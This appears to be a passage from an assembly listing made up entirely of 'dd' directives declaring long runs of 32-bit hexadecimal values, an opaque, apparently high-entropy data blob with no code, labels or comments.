dd 0D05476C0h, 0C3171781h, 94FA1B81h, 7788C32Ah, 0FBE12B36h
dd 0D4551F9h, 830E783Ch, 619F73E7h, 71C4ECDAh, 5F131A48h
dd 24A878D1h, 85A3AD77h, 2BFEFF37h, 0F704D100h, 0AE15C58h
dd 0DC4390F8h, 0ADF86F7Eh, 7D17D120h, 0AEDE4872h, 7390CC01h
dd 1F3BBEDCh, 119E5305h, 47E70CF5h, 0FC3033ABh, 89B2DF35h
dd 840F8525h, 8262DBB0h, 0B2369E0h, 47DFDC2Dh, 81E814B9h
dd 8124B671h, 4F3C4DA3h, 0DEF1B193h, 173F0232h, 7F65B087h
dd 680AE235h, 0BC7B5C88h, 80B96880h, 5D85E075h, 25CA6EE2h
dd 38FA03BBh, 0A4CFF444h, 0D49EC6A2h, 9E5495BBh, 9080EED9h
dd 0F2398C6Ch, 8F239A27h, 78805925h, 0C419877Bh, 3AF28133h
dd 0E59899E2h, 5D203066h, 81CB7FCDh, 6E6DF877h, 0E3E9ED51h
dd 0F93B934h, 78ADEADAh, 0DC0D9081h, 2B4D62A6h, 6276C86h
dd 0FFFB4124h, 0E0B3238Bh, 5B40C4D6h, 0D7F42F10h, 0E1319034h
dd 0B959CF9h, 0DD3CEEBCh, 0DF58F292h, 15F1A00h, 8895732Ah
dd 175EE1D3h, 2DAD9941h, 0ACCB9622h, 0EF345D21h, 796491E6h
dd 0AE55FC31h, 0E720612Ch, 0ED257555h, 98C443BEh, 0C6343C0Dh
dd 0DD9BD422h, 7508A340h, 0D1F70C32h, 79BA5BC3h, 14F0E96Ch
dd 945A15h, 7E19DFD5h, 82349EE2h, 0A505AEACh, 0DAFD76F6h
dd 4785ECEEh, 0E6556423h, 0F60CB25Dh, 0BE441998h, 0FB0E1272h
dd 22C443ABh, 0D46FB585h, 0D04FE39Eh, 534146BCh, 2DEA93C7h
dd 408B90A2h, 8AAA8578h, 0E0FF105Eh, 324BA92Ch, 0EBF164C6h
dd 0FEA2D5D5h, 0A26BF062h, 706BCEBCh, 86DA1058h, 0B1F5D64Bh
dd 6D33F64Ah, 0A01141B6h, 645B064Fh, 18F81677h, 4CB34689h
dd 0F64E6B04h, 1CBD265Ah, 285D5A11h, 9F9182Ch, 0F66A45D2h
dd 1C881038h, 3EC2F345h, 9B4FDC2Eh, 7658745Ah, 0E2B0C8E7h
dd 0F0B57997h, 1F548E42h, 0D389E8ABh, 0FD160D29h, 0E6A0AE51h
dd 0AC38E2C4h, 0F45AED8Ch, 0C9099D66h, 0B9D7BD7Ch, 0CA2FED1Fh
dd 0C1E0D300h, 0BB6BB557h, 0C85A7646h, 6CD93833h, 7B727D2Ah
dd 0EA1B8DFDh, 96F96E91h, 0B150FA8Fh, 9C56FEBh, 99A4AEFh
dd 1291096Fh, 6ABBFB3h, 287B2C3Ch, 0B3E6695Eh, 2117EADFh
dd 3337CE4Eh, 2509E227h, 4873EAC8h, 0CD26768Ah, 0F815374Eh
dd 85AA33A9h, 27CB8BBh, 90146236h, 4AF1622h, 0E1141EA5h
dd 52F3EA60h, 38CB7814h, 75EF3443h, 0E342F10Bh, 3C8D0E68h
dd 41C1E777h, 69BDC504h, 0AA479CA7h, 0D55C3933h, 61423CC8h
dd 0D10362C4h, 3C1D27CEh, 0C4128F96h, 0D3D3BC5Bh, 49755B29h
dd 0BF4F1447h, 4B03C0DDh, 166E9097h, 954D1A44h, 0EFB7682Eh
dd 683564F2h, 2226B864h, 93B55C4Ah, 826835B7h, 927A8889h
dd 0B5BA349Ah, 0D944C44Ah, 0A2712B0Ah, 6429C2F9h, 8DC4F561h
dd 7ED59735h, 77FE8B88h, 41E1A8C9h, 5FFE7692h, 29C2CC98h
dd 0C6ABA60Eh, 32C05D8Bh, 1DB3CC15h, 0A00B992Ah, 0C59F9013h
dd 155647D9h, 0E6B2C4ADh, 22174811h, 0EEB61377h, 0F417E055h
dd 0F4DEE774h, 7C86FA4Dh, 39D47C41h, 16208D38h, 2A6D63FAh
dd 0EB0960Eh, 5F233ED0h, 6403FF9Bh, 0D3CDC4E2h, 83EB2C81h
dd 0EB4CFEE3h, 0D715710Bh, 42808156h, 15AFBE75h, 0D5B8592Ah
dd 55B6B5Eh, 60ECF5A7h, 0EA683D62h, 0C284FB1Dh, 6023ECA1h
dd 0E9D855D4h, 0B736AF63h, 85090CBCh, 0E8DC45CBh, 60E3DF94h
dd 706EB43Dh, 0B3D63FB1h, 6A003CF0h, 0F1A57FB0h, 0BAB00B20h
dd 0F3A1EB1Dh, 6EBAF84Dh, 0E83DFA55h, 0A2F51944h, 9CCB146Eh
dd 0ED28FFB9h, 19B94BDDh, 29327007h, 7DA1C9DCh, 631C3116h
dd 6B408C19h, 473F144Ch, 1DABFFEEh, 23628D0Dh, 8B7D1B28h
dd 5B8653FAh, 86CD0676h, 0B5407944h, 0C9D304C4h, 13B94B41h
dd 0CFAFB92Bh, 0BE40D019h, 0FB483EC5h, 3A34C89Fh, 8A28Eh
dd 261BADF1h, 73F9F34Eh, 3E725C6Bh, 0BB077FC0h, 0A74F5B0Ch
dd 9F8836E0h, 0D1DA3417h, 0C12F39B4h, 4B85C57Fh, 0A1EE7B3Dh
dd 0C7A22BE2h, 7AFC3592h, 0F0FD18DFh, 0FD767064h, 0DD8DEE57h
dd 325FFD0Ah, 4D3E2FE6h, 0A82E40CEh, 0D8217FE4h, 1CF807F5h
dd 0F31C6E44h, 4211D016h, 4D3C9832h, 791D5B25h, 7F20DCC1h
dd 4AECED28h, 39632154h, 9A842BA3h, 1CC1318Eh, 0E87F86AFh
dd 64B22A59h, 699B904h, 0ADEC2946h, 3C1734Ch, 17EBE82Ah
dd 7D28D8E2h, 0C75917F3h, 4214344Eh, 0A27AAC4Fh, 5F6EF489h
dd 67D92645h, 2BCC2389h, 0AC12D226h, 0FC09E54Bh, 589F5C19h
dd 0D0A49871h, 17F50BB6h, 291B781Bh, 7F4B451Fh, 3F06EE1Dh
dd 0FC66C2F3h, 0FE4B5D89h, 77122329h, 0CE1A14A7h, 0A327F21Dh
dd 0E2EE5615h, 0DB51F3ECh, 34733E1Ah, 0B9B76777h, 59483A18h
dd 4FA68496h, 0E48A4E95h, 6F3637F8h, 0C4AE9A14h, 0F00D7B4Eh
dd 0C383D82Dh, 644DFB72h, 0D5C24E15h, 0F7E28A61h, 434A557Dh
dd 6785B3Ch, 0A6DD8ED0h, 0D521431Bh, 0EED47524h, 879169C3h
dd 0F8895FA9h, 0E20DC8BBh, 0A7B9414Eh, 8784AD32h, 770061C1h
dd 9852AE29h, 1556FDBBh, 0C1D45656h, 1B5C927Ch, 0BB20200Ch
dd 980BB7C4h, 6D353C5Ch
dd 58DF8C91h, 3B82B579h, 5C0C1E7Eh, 538915FEh, 45E5566Fh
dd 0AB38C44h, 60D40567h, 40EDE606h, 0BF8D8F77h, 0C7ED5859h
dd 0CBAFE286h, 0AE8F7298h, 0B81DC8C3h, 66766B14h, 62778539h
dd 278B083h, 0B206100Fh, 0D3B34D3Eh, 0B597BBF2h, 0B8DAE00Bh
dd 84A836DBh, 31362185h, 45008A13h, 601FB529h, 4DE6FC29h
dd 73903D5h, 49BD7D32h, 6554B06Fh, 7FCDA0Dh, 6E9DB437h
dd 0C5265928h, 0C117B377h, 6574B547h, 0C2701454h, 8B046EDDh
dd 458A29B5h, 7BF82D1Eh, 36F5FE9Ah, 0D54A11D7h, 5461DDC1h
dd 295C7777h, 0E56B823h, 0DA67551Dh, 6A0A78h, 0FA571FC1h
dd 0B89FA8Ch, 979A4114h, 76AB8B51h, 46FE17B6h, 12E1C242h
dd 1FC0235Ch, 0D6E55E0Ah, 5EB0ED82h, 1CDD713Ch, 0DB8BA22Ah
dd 0CC044FA9h, 3DA0C556h, 0FCF83856h, 733F9604h, 0FD07AF9Eh
dd 1D98EF8Dh, 6FBE2F6Ch, 0C204BF91h, 0B32E4887h, 0C33F69A6h
dd 70662ABBh, 0C4E4D25Dh, 3F78D68Fh, 0FC6D3CB9h, 7024C5CEh
dd 772A9668h, 5F148B0Bh, 43EC71B1h, 0DDB8FD9Ah, 4F50B231h
dd 3C9BC9A7h, 509B1F7Eh, 0EE2C15Eh, 0A0CBBE7Eh, 94982E24h
dd 49BD9308h, 552AE483h, 6CF880B1h, 0F36D36Ah, 0BBC0EBD3h
dd 7D8266Bh, 56788C28h, 0B88EACA4h, 17C42D07h, 4800F747h
dd 8274F752h, 0E4E08FABh, 36B19929h, 7582B84Eh, 0B54A0576h
dd 0AF004C1h, 6AC798EFh, 0AE36506Dh, 0F1011DE3h, 0DE8AF1Eh
dd 98809FACh, 0D08FD9A1h, 0FFBDE27Bh, 2C173710h, 37A63D6Ah
dd 0C30FB55Dh, 0F43F2861h, 0AF5CCAB4h, 0CA3BCE2Eh, 0D79568A7h
dd 5EBC8549h, 2176B7BEh, 0B63C62CCh, 0CAD9F922h, 6D5AA79Dh
dd 1C3C6F2h, 78219B64h, 0CD0D95C7h, 0BF637E0h, 0B3FB2071h
dd 0DD6B2375h, 18E2421Bh, 3E3E7A34h, 0F15A54DDh, 0D6C9A7ECh
dd 6BD65BFEh, 0CBCFA5EAh, 46963769h, 0FA7B301Eh, 0D45866Fh
dd 0B4964E3h, 0F7322349h, 8438ADB9h, 1AD4BBB3h, 76C7F8C7h
dd 1D135AABh, 0C4238AE9h, 0F5983243h, 22A66343h, 820333F3h
dd 3FAAF5A3h, 0F712A757h, 0AE4E4779h, 5EF31D32h, 65E6E48h
dd 7293A3C7h, 0C22FEC05h, 0ED60F9F0h, 1CE219FEh, 4C5BE007h
dd 19F4E545h, 540A8E7Dh, 6E4ABD09h, 480110A8h, 7D5EF176h
dd 3CE12545h, 3203C1A6h, 0EB8C9560h, 11DE9A43h, 0B2D0A43Ah
dd 0DD8B7EDBh, 0AC4C16FCh, 8FA12EC2h, 797F5699h, 347E9370h
dd 0EF63D407h, 0BDDC6BDh, 384E8C69h, 57DE8C7Bh, 0B6F09E98h
dd 0E3A3181Ah, 897967C3h, 8E346CBAh, 0BB5A9ADAh, 6D0844CEh
dd 88B680ABh, 59A1A498h, 80B95A58h, 26866B87h, 65FE560Eh
dd 2E1243C3h, 9B41E64Ch, 72D3378Dh, 89B19F4Eh, 0DDB099EAh
dd 0DE046D0Dh, 19E504Bh, 0CA180E99h, 0B13E12h, 0EFB22B0h
dd 5DF631AAh, 0A8CAFA2Ah, 0B0A6F72Fh, 21DDA51Ah, 3E749041h
dd 0C13A5E24h, 77C2EC0Fh, 7D527320h, 6244DED8h, 29A0020Dh
dd 3815354Ch, 7732CAD8h, 1B5C7A0Eh, 927BC2D5h, 5733A865h
dd 0DD109C78h, 2B8081E5h, 0BA0A1165h, 3C7B73B7h, 8E3F1E06h
dd 4C0953EDh, 5BF77B8Bh, 51632D0Ch, 1FE5AAD8h, 17F0A695h
dd 0A170BA92h, 22DA6891h, 5F087920h, 271DEB9Eh, 0FC6113DEh
dd 0D5A05BE2h, 7EB01711h, 5B423D93h, 0A8B9534Ah, 0FF463531h
dd 0AD6C21BAh, 0FA164D1Fh, 1A60195Ch, 0DC0D00BAh, 1971FEFDh
dd 0ADA5BC6Eh, 0F6CD98C8h, 7F2DF35Bh, 7F738B34h, 0DE582662h
dd 0B54A3432h, 549A1667h, 0A8A126B2h, 728E0F02h, 0E69FFFEBh
dd 432AB152h, 8016ECD4h, 0CE4E623Bh, 62BA3F1Ch, 0A5788832h
dd 990F3139h, 0EE7DF425h, 3F0D20F1h, 11B52B84h, 0A097D4EFh
dd 8881669h, 0C6F820EFh, 7CACF3B1h, 7C6D9C4Dh, 781A98BEh
dd 0C5262FEAh, 0A9CEFCFFh, 2EAA20Ch, 0AE7F271Ah, 0FFDD3332h
dd 276F4501h, 3C6F0D9Dh, 876D7419h, 9F1FDE47h, 0FA168452h
dd 37A8D8Bh, 4BCCEA4Ch, 0E8C346E7h, 5D01853Fh, 121DAC01h
dd 786F32E7h, 0F2BF5B4Dh, 0A4B91B19h, 0B6D6F9FAh, 0B804684Fh
dd 85294246h, 3216A133h, 0BAA6145Eh, 0A68B0626h, 0E4036C0Ch
dd 434D9FE3h, 3E34C646h, 0D72B353Fh, 286D6C23h, 0C018A7ADh
dd 7252EE00h, 0E2AA38C0h, 0A860CFD2h, 5865D91Ah, 33A3ACB2h
dd 97498C6Dh, 54DD5071h, 5C2E255h, 0FF01F5DAh, 9EB19002h
dd 22BA4E89h, 9AC97A9Bh, 0D2D8E24Bh, 0DE81B35h, 6C3BBF6Eh
dd 8B7FA514h, 0D4169782h, 46EA5F43h, 0D6ABD20Ah, 2FE65316h
dd 4A77AE60h, 274D904h, 66019C20h, 8F5D6FDBh, 91E5C2AEh
dd 6B8DDA9Fh, 802E811h, 0A9BE1965h, 0DE3CDE2Bh, 39EF950Eh
dd 0DFA2A190h, 0AED44C18h, 699ECE6Ah, 8A76C1E4h, 2EEA1F3Eh
dd 67690E89h, 108C28DEh, 37C72D95h, 3D01B535h, 0FABDB607h
dd 9964B0FFh, 0C525F7CDh, 356EEE15h, 0CD57608h, 567EA005h
dd 4653280Ch, 7F92363Eh, 0DA98F0A0h, 7ED1CBBFh, 0EE092D4Fh
dd 5A578504h, 430C0967h, 0D2E74AE5h, 40D75E2Ah, 83FBF047h
dd 4C3466FBh, 8A2FC946h, 0D56CF954h, 0E8513079h, 45AAFB12h
dd 3F0D4CBEh, 0EC4F8B6Fh, 292795E6h, 6194D99Bh, 6120797Ah
dd 9E76B5BBh, 0A19AE3Ah, 4FFBF8AEh, 0CEC0D1DFh, 75F4B84Fh
dd 2D13B7C7h, 5FC10EAEh, 94648A5Fh, 563DAFF4h, 0B53FEF56h
dd 8E3BF675h, 0F354DC98h, 0E595340Bh, 0A45EF7Ah, 0B7C69425h
dd 6970738Ah, 7050FBD6h, 82993B04h, 87AC0EBDh, 932379ECh
dd 9D3216A3h, 0A6798EFEh, 45463D94h, 212C6373h, 0F312D676h
dd 3558556Fh, 0C3D5534Dh, 0F99F0233h, 52962329h, 609D14FCh
dd 0F0017774h, 9DD1CC44h, 0CB44580Eh, 0C2CBD042h, 0F1CC67DEh
dd 0F58F360Eh, 2240618Fh, 26E99CA6h, 8D8327A7h, 45E5A059h
dd 0CF7F7D6Ah, 0E9F0C61h, 0DB77601Ch, 11C57C19h, 0DE754C80h
dd 0CA7EDF3Dh, 0E6DAC097h, 0A36C4C74h, 82896A3Fh, 5C7376B0h
dd 0E5368BAh, 2F161D1Eh, 0FF73878Ah, 0D5C1EC87h, 908F6173h
dd 0EF8513F7h, 0A45F3B76h, 44567C38h, 5214FDBh, 31BC4252h
dd 6C5B3BDDh, 6F7D36F4h, 862220C1h, 0BA65F1A7h, 0BD1CBEE8h
dd 0E1A1C25h, 23A9F4D1h, 3B495385h, 0F6139312h, 0D536B811h
dd 9F7A31A9h, 0F993465Fh, 0E3BC8BF2h, 0D3FAC880h, 26E023D5h
dd 2BDB73A4h, 72E5190Bh, 1E890C41h, 0BFF526E2h, 81B6B2FFh
dd 6931301Bh, 2EFE79D6h, 2EBB8B94h, 0AD1D377Dh, 88B5323Ch
dd 0A32062A5h, 53771E9Ch, 0E6CCDEBFh, 5C82EC4Ah, 94E68986h
dd 0E874CE8Eh, 0EA4B2AFDh, 0C2C494B7h, 5C246937h, 0D31FCB02h
dd 0F7B21049h, 6581BE36h, 0D90EAD9Ch, 0D6CD7FA6h, 0C1E78573h
dd 6278C31h, 0CB6DC165h, 1116A5FDh, 149FE3CDh, 4714BAE6h
dd 1682EC44h, 4CF23A2Fh, 0FC17E90h, 6CE91C4Ch, 0BBAAD20Fh
dd 0F3B8372Fh, 0E05D812h, 0E4293CEDh, 30E9EACFh, 0A8BC28A2h
dd 1B62BFB5h, 4E3B224Ah, 0A39A1CC3h, 109C78F9h, 312A0B77h
dd 661D82BBh, 75285A32h, 6DAD958Bh, 6063C835h, 75ABE665h
dd 26825ACDh, 4492D8CBh, 18D5D0A2h, 0D31A12E9h, 1ABDD9CEh
dd 0DFF90DB6h, 80F85617h, 0D6989792h, 39F92080h, 0FE3D20BEh
dd 2433B7DAh, 8BE95C89h, 3ACDBE56h, 3B00FB51h, 51FBF7CFh
dd 15273E60h, 0D3052E8Ah, 0FEDD51C1h, 5939EC65h, 896AABAh
dd 0FE390C36h, 331D5903h, 46082B11h, 1BED536Fh, 0DAE8EEE5h
dd 55784555h, 45B425D2h, 0B114199Fh, 4198B494h, 0A6D6ACA5h
dd 2BDAB1E8h, 75506635h, 0B379CE7Ch, 2E18CDE3h, 18CE1A30h
dd 7F997EA1h, 0F8C06B43h
dd 22F04C7Ah, 0A0AB492Ah, 96A1C0C4h, 316B560Bh, 59E8A432h
dd 72E0AF6Ah, 5A040AE3h, 468D5855h, 86A18B04h, 196C1595h
dd 850FE939h, 717B51BCh, 0D02BCE7Bh, 1C0CDF60h, 0A877DAA0h
dd 0D836240Eh, 2D6F0CC6h, 98D42735h, 0E5DE3C14h, 74EAFB6Bh
dd 9D78621Ah, 7FD73C90h, 70D543ADh, 67AADE1h, 0EC0B0F1Dh
dd 0A581A251h, 0BD0C63Dh, 0C8C05D6Dh, 8EADD7EFh, 7D79DF03h
dd 8BB739E9h, 9670C88Eh, 8C5559D6h, 3373536Eh, 6EBF271Eh
dd 81B17163h, 96A8057Dh, 7CB78E8h, 2A6AD7BBh, 0C71EADF8h
dd 0A5B60375h, 0FD328E4Dh, 0E691EEh, 637FC5DBh, 35AA5450h
dd 809F3142h, 7F1D2AECh, 794A258h, 5B454CAAh, 0AFD92625h
dd 7FAF470Fh, 0A20E6A9Bh, 0E0048617h, 1D2DF211h, 0A69EEB77h
dd 0D7AD6B25h, 7F7D1A30h, 486BC7DDh, 10C9B3A0h, 0DA42A2BEh
dd 8287368Eh, 802DE55Dh, 7B260649h, 9CAB5640h, 75CE46ADh
dd 2FC9835Eh, 137F9B4Dh, 0A1AB5912h, 0BA2EFF3Ah, 3EB3D4F2h
dd 7A7540A5h, 3C53ED0Bh, 0B40F6245h, 95E8A44h, 325FC99Ch
dd 39810992h, 3CDA693Eh, 96B711B6h, 0A066FD5Eh, 0D2ED117Ah
dd 4342E173h, 0E07E40D7h, 0F42C1AC0h, 0A3C92FB8h, 0E59DF4ACh
dd 16471910h, 0A46861F0h, 0C6747050h, 5A7E89FAh, 0BC50CC0Bh
dd 0D97856AFh, 59ADB51Dh, 0F560E3B8h, 0BB8F3BE2h, 4772C89h
dd 2B1E32D2h, 0C13C83F4h, 0D7C81D73h, 0E7B08C9Fh, 462D39BAh
dd 0C9751EE4h, 39A98778h, 0C18BFC8Eh, 3E2EC142h, 1A59BC1Ch
dd 0C9E50BEAh, 33BCC3FAh, 0D28FB80Bh, 0B4AECBCCh, 13795424h
dd 0CCDD6D2Eh, 0F17C5C96h, 0C7BFB3E0h, 23D47562h, 0CB42853Dh
dd 0B6A7DBD8h, 4E5498F5h, 260F7D21h, 1B9D433Fh, 0BCDDC0C1h
dd 0E87E50Fh, 648BA354h, 76F6413Ah, 0B3B71FA1h, 0A93E9AF0h
dd 0C84104D8h, 0FE0819EAh, 1567C78Ch, 0F02CDF6Dh, 3B8D41A3h
dd 0D0EAF2A2h, 0B439F260h, 7CE18B0Ch, 2AD6E009h, 532E9AE5h
dd 0F8AA98Bh, 9429580h, 80B65AF1h, 0DAB095B1h, 4CA956CCh
dd 0DB14F52h, 0C72777B6h, 0FB183522h, 0CABAE192h, 220FECE3h
dd 3B1DADCEh, 4FF1B7AEh, 0CF40184Dh, 63C82894h, 3569D69Fh
dd 17141B55h, 0F3546EF0h, 9877AC96h, 5EB3002Dh, 0DB2C8DBCh
dd 6F412B5Ah, 95D51258h, 71F0187Dh, 468C447Fh, 612CE199h
dd 0B634D87Ah, 1C8EA88Fh, 0A1AF13Ah, 89241805h, 7C829C74h
dd 3D86850Eh, 0ADCF7DDDh, 0A3362B07h, 83F6029Fh, 0F11E5A50h
dd 596075F3h, 502D279Fh, 4BA6D47Ah, 0C2AEB566h, 0B002AEEDh
dd 31E75EBh, 5E92DDC2h, 0F82181D5h, 0C49E2F1Fh, 6F3066D2h
dd 986D2865h, 0DA1BE34Dh, 0A08643DBh, 0EF10B34Bh, 71B84F30h
dd 0CA7E9688h, 45C369BDh, 5796DACAh, 0F7E3A70Ah, 2AC7BD29h
dd 0D60C9FFDh, 17DDF244h, 166B043Ah, 0CF66BBFEh, 0FAC7F105h
dd 49510F31h, 1DC671AFh, 47DC2833h, 29817268h, 3F039D70h
dd 77C20087h, 6A14266Bh, 19BF35C0h, 52D5B64Ch, 0F71B487Eh
dd 10122681h, 0C19826E5h, 0C3C5D1CBh, 0B7A1F7C0h, 0D8915FE5h
dd 0C56E9B72h, 0C7EC7025h, 60875C6Ah, 0E924B237h, 0ECEE4AECh
dd 53758010h, 0A113A208h, 827D952Ah, 0EA3C48A6h, 8D1A70DEh
dd 0EE378D7Ch, 0A9066B11h, 0F8891E09h, 392270B5h, 0FC1D8A9Ah
dd 55E2917Eh, 0C7689605h, 9CA73F0Ch, 0CA418B4Fh, 4199FFDCh
dd 4E7C11D3h, 0E41A2D6Eh, 0E96CC52Eh, 411BEF63h, 3AB6F3Eh
dd 9FA0322Fh, 3F5895C0h, 3984379h, 0B0741F6Bh, 0FBA863DDh
dd 0D6C7F887h, 5825F612h, 0D832E8Dh, 0BAEED4A6h, 3C422DDAh
dd 0D4B99BDFh, 0A4F54BB1h, 55CA9DB2h, 2AB4A5ADh, 839E5439h
dd 7708EE13h, 3F637247h, 2DFE9BC6h, 4B76731h, 0CCA1ACCh
dd 0E637B047h, 92024259h, 0A1932F0Eh, 0D15AC9B0h, 82F2AA01h
dd 8102EEDCh, 779A0D07h, 6C5A8ABFh, 5598080Ch, 0A9B60F8Eh
dd 8B56223Fh, 32A15AB0h, 0ACDB839Eh, 838EC6E4h, 877CCF05h
dd 2E02EF71h, 0CD1A0A32h, 6D67CE03h, 0D025E284h, 0AA93A386h
dd 66ACC647h, 78F6E9F4h, 0BBA41D6Bh, 5EAE3E60h, 6F247748h
dd 775CAF38h, 68DFAE92h, 7A594206h, 67203A23h, 0A41CDE7Fh
dd 949AEEA2h, 3486D21Ch, 3C1136E5h, 34B632Dh, 0CB6D5EDCh
dd 77C985FFh, 0EE9A773Dh, 8E93F7F3h, 0B429E66Fh, 0C0D2D3Bh
dd 65E82992h, 0E10C6B2Dh, 45AEE3E4h, 8FD4E401h, 0ABEDABFh
dd 0D028AB4Dh, 0F1AE0F12h, 0A1D53Ah, 0E0EA8140h, 0AC3910BDh
dd 0F10885B0h, 61F76EE8h, 8EE6C141h, 7DA7C064h, 55B727B7h
dd 0FD01D160h, 0F05B0DF3h, 0A17A7816h, 0BCED48C7h, 9D88B441h
dd 955E174Fh, 60E22C3h, 13CAC3E4h, 4166C070h, 0B1F78C08h
dd 261142C6h, 9BBFF7F2h, 15857F1h, 7FE1E138h, 0E32A22A4h
dd 35046C07h, 0EECDBCEh, 9F243B84h, 217AE943h, 1F09AD37h
dd 964EAFE3h, 0CA0638E2h, 755CABFDh, 2A1700CAh, 0F1EDE47Bh
dd 0CC573987h, 76DA452Eh, 0D9F5BF6Dh, 10B4E24Ah, 0A7639A47h
dd 4576087Dh, 0E5C086B4h, 71F48069h, 999D40AFh, 4EC5828Fh
dd 896D3A29h, 0C17CCAC1h, 273034F1h, 0BDFAFCA5h, 0BE86C321h
dd 1CA3EF87h, 0BAF11A93h, 38CB8FBBh, 0E27B8686h, 5C30F0FCh
dd 19D9B61Ah, 0ED38F64Fh, 40A0D4B9h, 0F4705BB0h, 0F5728681h
dd 3DAB3CB6h, 64A8CF31h, 0F2E2154Bh, 43F70CE0h, 311B258Ah
dd 91CBAE4h, 98078074h, 95D16903h, 9D37DB63h, 6B633B73h
dd 1A2FD679h, 497B64E7h, 70A00770h, 0C97A36DBh, 7E11F7A9h
dd 0B206683Ah, 0B350D3DCh, 0B3B72486h, 30461148h, 0CADBDE64h
dd 0D64C108Bh, 2194054Bh, 53F8862Dh, 70AA0B65h, 6A4DAFA2h
dd 600CEBC5h, 46A61625h, 0C320CC7Fh, 575F96ACh, 3A2AC66Bh
dd 203333B2h, 63A602A7h, 0E81A1F6Dh, 39E5D476h, 6AD322E8h
dd 4959428Bh, 12FCAEh, 48BB8520h, 0D37DAAB5h, 95400D27h
dd 0DB5DD650h, 3801657Bh, 0A457C63Dh, 377FFA38h, 39C72CFEh
dd 8450346Ah, 7816E8CAh, 1D2AEB12h, 0AF338B64h, 0B04C40E6h
dd 0F7FC851Eh, 0D4074B5Bh, 0C42B22CAh, 0BDF20AD2h, 0FBDCE85Dh
dd 0F3B8E7FBh, 0AA90423Eh, 2B8CAB5Ah, 0B653D8B1h, 1350BEAh
dd 0C0664765h, 2B898364h, 6E23436Ch, 23E1B5Fh, 5BA6C192h
dd 79B79510h, 9CA8C361h, 30466E3Bh, 58CCD230h, 66A5BEDFh
dd 1569D4CCh, 1F0B7C83h, 7CADD70Eh, 0D0BC981Fh, 0DA7C5F44h
dd 81A5D1EBh, 5723976Eh, 0D482E558h, 567EF5B7h, 0F2916F2Ah
dd 6B5776F7h, 9144FA93h, 0F369328Ch, 0B43665C8h, 3C1FEC63h
dd 0AF4742B9h, 76F1D895h, 8DD8B155h, 5880F10Eh, 0AD881A92h
dd 275C6EC5h, 0ED349C12h, 3BD28E16h, 99592681h, 9381C8D6h
dd 0BC3EEBFAh, 190E3E93h, 74E9A228h, 587D9A05h, 3E113EC5h
dd 6E9FE3D5h, 0EDFE0C88h, 0B5036B55h, 0D0C27CA0h, 891EC63h
dd 0E3489AC1h, 196E685Eh, 0D2E5263Eh, 0D594F9E4h, 7993B31Ch
dd 3DAB0BCAh, 79616CB2h, 0C1461C02h, 0AA8929C2h, 0ADE872C7h
dd 99C7E091h, 27C17FBDh, 4AF237A2h, 0A7946AD1h, 0F44AA6C6h
dd 1A6E4548h, 5EDE7A56h, 0C8919C3Bh, 188022EAh, 0BFAD5EC8h
dd 54A36274h, 702A22CEh, 0B4E64268h, 0E71ABC74h, 5AD3A93Ch
dd 0FF75E888h, 0DF3024EFh, 62388EBh, 0CBC2E01Fh, 50A33CB8h
dd 2D27C996h, 88507A7Fh, 706D602h, 47E56392h, 9398AE67h
dd 0ED062F63h, 2DD30FBFh, 12D690E3h, 358777D8h, 597F1733h
dd 54F5B8Dh, 48420C7Ah, 0F7F5DDCCh, 35C6CACh, 0CC0885D2h
dd 7856FB07h, 0AE670476h
dd 56B5B95Ch, 0F9DBC232h, 5548FE44h, 0CE07E876h, 46A1A4A2h
dd 0D04F885Ch, 5AD097ECh, 0FEA7A616h, 7661CF99h, 386F6770h
dd 0F9804C00h, 70AB9771h, 2F4E7C25h, 17EC818h, 0C4B9F4E1h
dd 0E78987B9h, 0E328FEC3h, 906EF6A1h, 0C72DF04h, 3E2FB2FDh
dd 2E774F5Dh, 3381A93Fh, 221820D3h, 0CFEA85BEh, 92CAC8h
dd 28DEB1D0h, 0A5188D7Fh, 6FC73DA7h, 304B51E0h, 77754A32h
dd 3118F9BAh, 982C9CDCh, 5C08D380h, 0C38BDB4Eh, 97E64E17h
dd 0CBFF95FDh, 0D6C69444h, 9D05C8A7h, 0D547474Eh, 9434F7BEh
dd 8699E6C5h, 4A4CCA78h, 467E0851h, 0FE37D107h, 0C28E4792h
dd 485110C0h, 1AC3D29Ch, 7C684EB8h, 0E761C41Fh, 3052342Bh
dd 5FAA2BEFh, 96E19FB9h, 0D3361E5Bh, 8EE4E9E8h, 488A70A5h
dd 0F245DA63h, 1F8FF44h, 891F2F00h, 9AA600CAh, 0D306C802h
dd 0F2882CC1h, 0D42BC152h, 0D6D1FD1Ch, 40F1B8h, 0CA2D9FB5h
dd 0F5D4FA26h, 0F0BBD92Ah, 597D4012h, 0FF853AEDh, 184BE9Dh
dd 70D0E3F6h, 8834CC4Bh, 0BE1C5696h, 24819A39h, 6E656A0Bh
dd 0E1E8E555h, 0CA3122ECh, 827223E5h, 0AC5DDEFh, 914B1146h
dd 0E49EBED3h, 0E48901DEh, 0D10E1E45h, 0D23ED353h, 0A947BA08h
dd 291B5711h, 40C0942h, 14073EE6h, 3242374Fh, 138AFD14h
dd 0EA71F1E2h, 57C6A98Dh, 82EFA210h, 39656AFAh, 0D130C2F5h
dd 8C910127h, 7A1D5AC9h, 26556991h, 0B1C2CC8Fh, 5EDA1AB7h
dd 0F6B4D726h, 6F4CCEC6h, 18B4C82Fh, 0EA68764Eh, 6E39A072h
dd 51FACECDh, 0C0A3A66h, 5C7ACFAh, 5C5CD5BBh, 975E1F12h
dd 0B0580B86h, 0A1B3C0F1h, 0E54B4306h, 31FB000Ch, 4944410Bh
dd 6CCF133Fh, 54119C58h, 3E082286h, 91D37663h, 344CA3A5h
dd 57C2812h, 0AD6AA1CAh, 70888255h, 4D7EDEB3h, 5B0339C2h
dd 5B7361EFh, 12136C16h, 0FD7D29Fh, 38E1C9C7h, 4DCF05ABh
dd 0B418B428h, 1D1925CDh, 0C248788Eh, 0EA865678h, 4B26EDD3h
dd 9182C858h, 23E82BB6h, 92E8109Dh, 0A9988E7Eh, 94EFB065h
dd 0CAB87DF6h, 0B3C5EB24h, 1095EDAEh, 98F53DFh, 0E6CA654Dh
dd 6A59DBB4h, 24A93466h, 4FC969A1h, 43E26ABAh, 310B6F22h
dd 7A98E750h, 80DEF639h, 0F627AAAEh, 8289D1F1h, 0C25F3E06h
dd 65503F13h, 0A88E28C4h, 0B928090h, 9C240D9h, 0A2E57187h
dd 807FB77Ah, 469EA779h, 7BFDD097h, 3A297E12h, 53DDD511h
dd 0E7F8AB38h, 47C5F2E7h, 0A3560415h, 0CC8C202h, 76AE13C8h
dd 262CD0EBh, 21FAC3D6h, 0DC430962h, 1277ECD4h, 0AF6EB39h
